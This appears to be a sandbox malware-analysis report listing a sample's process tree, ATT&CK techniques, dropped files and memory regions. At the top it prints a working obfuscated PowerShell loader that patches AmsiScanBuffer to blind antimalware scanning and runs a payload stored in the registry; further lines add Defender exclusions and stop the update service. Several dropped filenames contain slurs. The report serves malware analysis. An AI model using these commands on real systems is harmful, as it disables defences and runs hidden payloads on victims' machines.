C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OdzGenLUPsAK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MySiwopeUWUTYA,[Parameter(Position=1)][Type]$yFEjGIEKGv)$ZEbDsXnyIUN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+'e'+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+'D'+[Char](101)+''+'l'+'eg'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+'e','C'+'l'+''+'a'+'s'+[Char](115)+''+','+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+'l'+'e'+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+'si'+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s,'+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$ZEbDsXnyIUN.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+'c'+''+'i'+''+[Char](97)+''+'l'+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+',H'+'i'+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g'+','+'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$MySiwopeUWUTYA).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+'Ma'+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$ZEbDsXnyIUN.DefineMethod('I'+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+'l'+'i'+'c'+''+[Char](44)+'Hi'+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+'e'+''+'w'+''+[Char](83)+'l'+[Char](111)+''+'t'+''+','+''+'V'+''+'i'+''+'r'+'t'+[Char](117)+'a'+'l'+'',$yFEjGIEKGv,$MySiwopeUWUTYA).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+[Char](105)+'m'+'e'+''+','+''+[Char](77)+'an'+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $ZEbDsXnyIUN.CreateType();}$cpjoPttKRjdfz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+'e'+[Char](109)+'.'+'d'+''+'l'+'l')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+'a'+[Char](116)+'i'+[Char](118)+'eMe'+'t'+''+[Char](104)+'o'+[Char](100)+''+'s'+'');$UVjSgVUtsAOYwC=$cpjoPttKRjdfz.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'P'+'r'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WUhrhHChkaUngimVcMc=OdzGenLUPsAK @([String])([IntPtr]);$wXblyMySLvkKzeuKfLntvn=OdzGenLUPsAK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YkMPtqkpJGb=$cpjoPttKRjdfz.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'rn'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+'l')));$YGIXZALiCPTROo=$UVjSgVUtsAOYwC.Invoke($Null,@([Object]$YkMPtqkpJGb,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'dL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+'yA')));$dDcLPSviYBjjwyTLc=$UVjSgVUtsAOYwC.Invoke($Null,@([Object]$YkMPtqkpJGb,[Object](''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+''+[Char](97)+'lPr'+[Char](111)+''+[Char](116)+''+'e'+''+'c'+'t')));$hDUmQxG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YGIXZALiCPTROo,$WUhrhHChkaUngimVcMc).Invoke('am'+[Char](115)+'i.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$ACaiZIexSXugtUybK=$UVjSgVUtsAOYwC.Invoke($Null,@([Object]$hDUmQxG,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$rPkXFGFLeu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dDcLPSviYBjjwyTLc,$wXblyMySLvkKzeuKfLntvn).Invoke($ACaiZIexSXugtUybK,[uint32]8,4,[ref]$rPkXFGFLeu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ACaiZIexSXugtUybK,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dDcLPSviYBjjwyTLc,$wXblyMySLvkKzeuKfLntvn).Invoke($ACaiZIexSXugtUybK,[uint32]8,0x20,[ref]$rPkXFGFLeu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'T'+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'er'+[Char](115)+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{502e2f9a-025b-5640-b00f-68da3d0ba1bd}\g2rvdd.inf" "9" "48e7d72b3" "00000000000000E0" "WinSta0\Default" "0000000000000160" "208" "C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\x64"2⤵
-
-
C:\ProgramData\System\System32.exeC:\ProgramData\System\System32.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 12976 -ip 129761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 31444 -ip 314441⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveProcessChecker.exe"C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveProcessChecker.exe" -Service -WorkFolder "C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561" -ApplicationType "4"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 404 -ip 4041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 22280 -ip 222801⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Power Settings
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
1Indicator Removal
1File Deletion
1Modify Registry
1Pre-OS Boot
1Bootkit
1Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
DDDDDDDDDDDDDDD
desktop.ini.tmp
I1yPCrHry.README.txt
symsrv.dll.000
msedge.exe.tmp
Synaptics.exe
76561199884432485[1].htm
service[1].htm
setup.ini
._cache_Restter.exe
360base.dll
aoi1j.exe
msedge.exe
4363463463464363463463463.exe
48qKwkR.exe
Antieac.exe
BLToolsPROV2.9.1.exe
Client-built.exe
%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%203%D0%9E%D0%A8%D0%91%D0%A0.exe
02.08.2022.exe
Amogus.exe
Load.Driver.exe
hack1226.exe
injectorOld.exe
l843.exe
mimikatz.exe
vnc.exe
xblkpfZ8Y4.exe
G4gtDRI.exe
LB3.exe
Launcher_x64.exe
New Text Document mod.exe
Oxymorphazone.exe
cert.exe
RenT7Wg.exe
Restter.exe
RobloxOptimizer.exe
Setup.exe
Umbral.exe
02.08.2022.exe
06bK6nU.exe
1.exe
122.exe
2O7gWSz.exe
91DNBcl.exe
CYY.exe
DqXmvaf.exe
Software.exe
UctjX9B.exe
WOO.exe
WalletConnectdevRestore.exe
dPzCoRY.exe
install_and_run.exe
rTVfrvv.exe
random.exe
ssls.exe
svchron.exe
xobi.exe
aoi1j.exe
aoisjf.exe
aosidjn.exe
aosuifhn.exe
aso9iu8j1298joisd.exe
bb84d74b202b0223952a5ec3035430b938a99704fada5771231b2051324d5f4f.exe
eb80020f1ec5707f1a0ca62eed70eab962386e5a.exe
ee81207c5562288802020975235c69f1ac8355b67a4a3f646e9d161af84757a5.exe
funny.exe
funny1.exe
funny67.exe
funny78.exe
funny78Srv.exe
iZ8POZ6.exe
j9a8isjfoksdlmgwer.exe
jusched.exe
k1t.exe
kaQ7Taz.exe
miner.exe
niggaaaaa.exe
nigganet.exe
oi.exe
sdoijsgroeij324.exe
svchost1.exe
tuffnigga.exe
update.exe
{52F9363A-7109-4235-AB6C-6743BAC81E90}.tmp
drrbris
omsecor.exe
omsecor.exe.tmp
omsecor.exe.tmp
omsecor.exe.tmp
SET512E.tmp
SET512F.tmp
SET5130.tmp
EaWpYnX.exe
Gccticy.exe
HrtztxW.exe
IfqJcUT.exe
MuNZkYl.exe
POqIOaS.exe
RCzHEAi.exe
SIBZjDF.exe
WpnCEeQ.exe
YbYOhpO.exe
bYKCXIc.exe
feBltfO.exe
hCyvVjI.exe
hZjeTyE.exe
jIPxjfK.exe
jbahVyH.exe
mGkuNaG.exe
oHEtJVS.exe
~temp.tmp
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
DDDDDDDDDDD
memory/752-289-0x00007FF6C7DB0000-0x00007FF6C81A5000-memory.dmp
memory/752-6180-0x00007FF6C7DB0000-0x00007FF6C81A5000-memory.dmp
memory/900-4351-0x00000000005C0000-0x00000000008E4000-memory.dmp
memory/1168-282-0x00007FF71E5E0000-0x00007FF71E9D5000-memory.dmp
memory/1168-4508-0x00007FF71E5E0000-0x00007FF71E9D5000-memory.dmp
memory/1168-6198-0x00007FF71E5E0000-0x00007FF71E9D5000-memory.dmp
memory/1384-6284-0x00007FF785590000-0x00007FF785985000-memory.dmp
memory/1384-341-0x00007FF785590000-0x00007FF785985000-memory.dmp
memory/1384-4914-0x00007FF785590000-0x00007FF785985000-memory.dmp
memory/1624-326-0x00007FF7D1740000-0x00007FF7D1B35000-memory.dmp
memory/1624-6229-0x00007FF7D1740000-0x00007FF7D1B35000-memory.dmp
memory/1624-4825-0x00007FF7D1740000-0x00007FF7D1B35000-memory.dmp
memory/1644-4676-0x0000000000400000-0x0000000000915000-memory.dmp
memory/1644-4674-0x0000000000400000-0x0000000000915000-memory.dmp
memory/1644-4675-0x0000000000400000-0x0000000000915000-memory.dmp
memory/1736-50-0x0000000000400000-0x000000000043D000-memory.dmp
memory/1736-49-0x00000000005E0000-0x00000000005EF000-memory.dmp
memory/1736-210-0x00000000005E0000-0x00000000005EF000-memory.dmp
memory/1736-22-0x0000000000400000-0x000000000043D000-memory.dmp
memory/1792-204-0x00007FF7E5BB0000-0x00007FF7E5FA5000-memory.dmp
memory/1792-6135-0x00007FF7E5BB0000-0x00007FF7E5FA5000-memory.dmp
memory/1792-4327-0x00007FF7E5BB0000-0x00007FF7E5FA5000-memory.dmp
memory/2104-6045-0x00007FF609EA0000-0x00007FF60A295000-memory.dmp
memory/2104-332-0x00007FF609EA0000-0x00007FF60A295000-memory.dmp
memory/2104-123-0x00007FF609EA0000-0x00007FF60A295000-memory.dmp
memory/2248-6020-0x0000000000940000-0x000000000095E000-memory.dmp
memory/2336-344-0x00007FF640700000-0x00007FF640AF5000-memory.dmp
memory/2336-6046-0x00007FF640700000-0x00007FF640AF5000-memory.dmp
memory/2336-142-0x00007FF640700000-0x00007FF640AF5000-memory.dmp
memory/2356-51-0x0000000000400000-0x000000000042E000-memory.dmp
memory/2460-227-0x0000000000B90000-0x0000000000BE2000-memory.dmp
memory/2460-296-0x0000000005570000-0x000000000557A000-memory.dmp
memory/2460-239-0x0000000005B00000-0x00000000060A6000-memory.dmp
memory/2460-312-0x00000000066D0000-0x0000000006CE8000-memory.dmp
memory/2460-325-0x00000000058B0000-0x00000000058FC000-memory.dmp
memory/2460-319-0x0000000005870000-0x00000000058AC000-memory.dmp
memory/2460-318-0x00000000057D0000-0x00000000057E2000-memory.dmp
memory/2460-313-0x00000000060B0000-0x00000000061BA000-memory.dmp
memory/2460-252-0x00000000055F0000-0x0000000005682000-memory.dmp
memory/2560-6216-0x00007FF729820000-0x00007FF729C15000-memory.dmp
memory/2560-4653-0x00007FF729820000-0x00007FF729C15000-memory.dmp
memory/2560-291-0x00007FF729820000-0x00007FF729C15000-memory.dmp
memory/2784-261-0x00007FF7959B0000-0x00007FF795DA5000-memory.dmp
memory/2784-6104-0x00007FF7959B0000-0x00007FF795DA5000-memory.dmp
memory/2804-287-0x00007FF726310000-0x00007FF726705000-memory.dmp
memory/2804-6012-0x00007FF726310000-0x00007FF726705000-memory.dmp
memory/2804-72-0x00007FF726310000-0x00007FF726705000-memory.dmp
memory/3684-208-0x00007FF7B8840000-0x00007FF7B8C35000-memory.dmp
memory/3684-6173-0x00007FF7B8840000-0x00007FF7B8C35000-memory.dmp
memory/3684-4328-0x00007FF7B8840000-0x00007FF7B8C35000-memory.dmp
memory/3720-271-0x00007FF7F9C40000-0x00007FF7FA035000-memory.dmp
memory/3720-6181-0x00007FF7F9C40000-0x00007FF7FA035000-memory.dmp
memory/3720-4500-0x00007FF7F9C40000-0x00007FF7FA035000-memory.dmp
memory/3748-151-0x00007FF63EDF0000-0x00007FF63F1E5000-memory.dmp
memory/3748-1831-0x00007FF63EDF0000-0x00007FF63F1E5000-memory.dmp
memory/3748-6081-0x00007FF63EDF0000-0x00007FF63F1E5000-memory.dmp
memory/3972-6047-0x00007FF727430000-0x00007FF727825000-memory.dmp
memory/3972-790-0x00007FF727430000-0x00007FF727825000-memory.dmp
memory/3972-166-0x00007FF727430000-0x00007FF727825000-memory.dmp
memory/4156-4376-0x0000000000E80000-0x0000000000EF0000-memory.dmp
memory/4156-5049-0x00000000015A0000-0x00000000015CC000-memory.dmp
memory/4156-4374-0x0000000000E80000-0x0000000000EF0000-memory.dmp
memory/4160-340-0x00007FF7B6070000-0x00007FF7B6465000-memory.dmp
memory/4160-6223-0x00007FF7B6070000-0x00007FF7B6465000-memory.dmp
memory/4368-4875-0x0000000010000000-0x0000000010030000-memory.dmp
memory/4440-89-0x0000000000C40000-0x0000000000C4E000-memory.dmp
memory/4460-6041-0x00007FF636000000-0x00007FF6363F5000-memory.dmp
memory/4460-179-0x00007FF636000000-0x00007FF6363F5000-memory.dmp
memory/4520-310-0x00007FF639E50000-0x00007FF63A245000-memory.dmp
memory/4520-6202-0x00007FF639E50000-0x00007FF63A245000-memory.dmp
memory/4592-202-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/4592-4104-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/4592-4903-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/4592-131-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/4592-186-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/4592-333-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/4592-187-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/4596-4910-0x0000000000830000-0x0000000000838000-memory.dmp
memory/4596-4913-0x0000000005420000-0x00000000054BC000-memory.dmp
memory/4628-4840-0x0000000010000000-0x0000000010030000-memory.dmp
memory/4764-272-0x0000000000400000-0x0000000000424000-memory.dmp
memory/4896-4496-0x0000000000400000-0x0000000000429000-memory.dmp
memory/4896-275-0x0000000000400000-0x0000000000429000-memory.dmp
memory/4960-328-0x0000000000220000-0x0000000000228000-memory.dmp
memory/5016-242-0x0000000000400000-0x0000000000429000-memory.dmp
memory/5016-247-0x0000000000400000-0x0000000000429000-memory.dmp
memory/5016-240-0x0000000000400000-0x0000000000429000-memory.dmp
memory/5056-69-0x0000000000400000-0x0000000000409000-memory.dmp
memory/5056-1181-0x0000000000400000-0x0000000000409000-memory.dmp
memory/5068-288-0x00007FF6A53F0000-0x00007FF6A57E5000-memory.dmp
memory/5068-6024-0x00007FF6A53F0000-0x00007FF6A57E5000-memory.dmp
memory/5068-105-0x00007FF6A53F0000-0x00007FF6A57E5000-memory.dmp
memory/5124-5082-0x000001B4134F0000-0x000001B413536000-memory.dmp
memory/5280-17-0x00007FF7D19A0000-0x00007FF7D1D95000-memory.dmp
memory/5280-29-0x000001629D810000-0x000001629D820000-memory.dmp
memory/5280-150-0x00007FF7D19A0000-0x00007FF7D1D95000-memory.dmp
memory/5320-0-0x0000000000960000-0x0000000004B66000-memory.dmp
memory/5444-6174-0x00007FF6B2C90000-0x00007FF6B3085000-memory.dmp
memory/5444-238-0x00007FF6B2C90000-0x00007FF6B3085000-memory.dmp
memory/5456-262-0x0000000000400000-0x0000000000424000-memory.dmp
memory/5464-4368-0x0000000000400000-0x0000000000408000-memory.dmp
memory/5464-209-0x0000000000400000-0x0000000000408000-memory.dmp
memory/5620-4721-0x00007FF774890000-0x00007FF774C85000-memory.dmp
memory/5620-6230-0x00007FF774890000-0x00007FF774C85000-memory.dmp
memory/5620-320-0x00007FF774890000-0x00007FF774C85000-memory.dmp
memory/5656-302-0x00007FF7E0A30000-0x00007FF7E0E25000-memory.dmp
memory/5656-6217-0x00007FF7E0A30000-0x00007FF7E0E25000-memory.dmp
memory/5656-4641-0x00007FF7E0A30000-0x00007FF7E0E25000-memory.dmp
memory/5868-4602-0x0000000010000000-0x0000000010030000-memory.dmp
memory/5868-4601-0x0000000000400000-0x0000000000429000-memory.dmp
memory/5960-6042-0x00007FF6EB590000-0x00007FF6EB985000-memory.dmp
memory/5960-118-0x00007FF6EB590000-0x00007FF6EB985000-memory.dmp
memory/6376-4683-0x0000000010000000-0x0000000010030000-memory.dmp
memory/6604-4725-0x0000000010000000-0x0000000010030000-memory.dmp
memory/6604-4724-0x0000000000400000-0x0000000000429000-memory.dmp
memory/6608-4515-0x0000000000400000-0x0000000000429000-memory.dmp
memory/6656-4704-0x0000000010000000-0x0000000010030000-memory.dmp
memory/6656-4701-0x0000000000400000-0x0000000000429000-memory.dmp
memory/6868-4735-0x0000000000400000-0x0000000000429000-memory.dmp
memory/6868-4736-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7152-4787-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7152-4784-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7448-4873-0x0000000000040000-0x00000000004E0000-memory.dmp
memory/7760-4648-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7760-4665-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7940-5146-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7940-5143-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8084-4654-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8084-4655-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8256-4503-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8408-4937-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8700-4633-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8700-4634-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8756-4939-0x0000000000400000-0x000000000045E000-memory.dmp
memory/8756-4938-0x0000000000400000-0x000000000045E000-memory.dmp
memory/8780-5593-0x00000223326C0000-0x00000223326EE000-memory.dmp
memory/8780-5568-0x0000022332030000-0x00000223321F6000-memory.dmp
memory/8804-4545-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8884-4537-0x0000025C33500000-0x0000025C33540000-memory.dmp
memory/9080-4577-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9080-4576-0x0000000000400000-0x0000000000429000-memory.dmp
memory/9260-4972-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9596-4973-0x0000000010000000-0x0000000010030000-memory.dmp
memory/10144-5035-0x0000000000400000-0x0000000000429000-memory.dmp
memory/10144-5036-0x0000000010000000-0x0000000010030000-memory.dmp
memory/10280-5043-0x0000000000060000-0x00000000000DC000-memory.dmp
memory/10976-5236-0x0000000000400000-0x000000000040E000-memory.dmp
memory/10976-5237-0x0000000010000000-0x0000000010030000-memory.dmp
memory/11668-5199-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/11668-5203-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/11668-5207-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/11668-5204-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/11668-5202-0x0000000010000000-0x00000000101D0000-memory.dmp
memory/12008-5211-0x0000000000400000-0x0000000000408000-memory.dmp
memory/12636-5326-0x0000000000830000-0x000000000084A000-memory.dmp
memory/13052-4463-0x0000000000400000-0x0000000000429000-memory.dmp
memory/14000-4340-0x0000000000400000-0x0000000000429000-memory.dmp
memory/14000-4371-0x0000000000400000-0x0000000000429000-memory.dmp
memory/14092-4373-0x0000000000400000-0x0000000000429000-memory.dmp
memory/14212-4462-0x0000000000400000-0x0000000000429000-memory.dmp